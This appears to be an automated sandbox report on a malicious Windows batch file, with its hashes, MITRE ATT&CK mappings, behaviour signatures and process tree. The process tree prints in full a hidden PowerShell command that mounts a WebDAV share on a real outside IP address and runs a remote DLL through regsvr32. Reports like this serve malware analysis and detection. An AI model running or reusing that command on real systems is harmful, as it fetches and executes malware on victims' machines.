ce8fa1b2db4640c2293cdd07d915ab60af865961c450a75a95eabca95187b8b8

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
23/07/2024, 03:27

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General

Target

1209140631077924736.bat
Size

18KB
MD5

f23dde61b4953152a0e7b7dd18d9a7e8
SHA1

85f34fc4fde85b43c59aaa0b3841aea605f8573b
SHA256

ce8fa1b2db4640c2293cdd07d915ab60af865961c450a75a95eabca95187b8b8
SHA512

be0de8e2db58a1e860ee99acd7a712dc598226544e6cf08a33bc7657afff88b4b5279b56681b27fe1d448114f0c34cec66d097875b8fa93dac75b577830835d3
SSDEEP

384:lT8bJlUeKsvI+8R7vedXYPIDb/fA9Lq+zCYGjfd5soyBSa:EKsvZ8llIffA9LP/yfd5soyIa

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4064	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4064	powershell.exe
4064	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4064	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1748	wordpad.exe
1748	wordpad.exe
1748	wordpad.exe
1748	wordpad.exe
1748	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1388 wrote to memory of 1748	1388	cmd.exe	85
PID 1388 wrote to memory of 1748	1388	cmd.exe	85
PID 1388 wrote to memory of 4064	1388	cmd.exe	87
PID 1388 wrote to memory of 4064	1388	cmd.exe	87
PID 4064 wrote to memory of 4748	4064	powershell.exe	89
PID 4064 wrote to memory of 4748	4064	powershell.exe	89
PID 4064 wrote to memory of 3184	4064	powershell.exe	90
PID 4064 wrote to memory of 3184	4064	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1209140631077924736.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1388
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\30557255532975.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4064
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:4748
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\30557255532975.dll
    3⤵
    PID:3184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mztamm5b.vdg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4064-2-0x000002D4BB1F0000-0x000002D4BB212000-memory.dmp

Filesize
136KB

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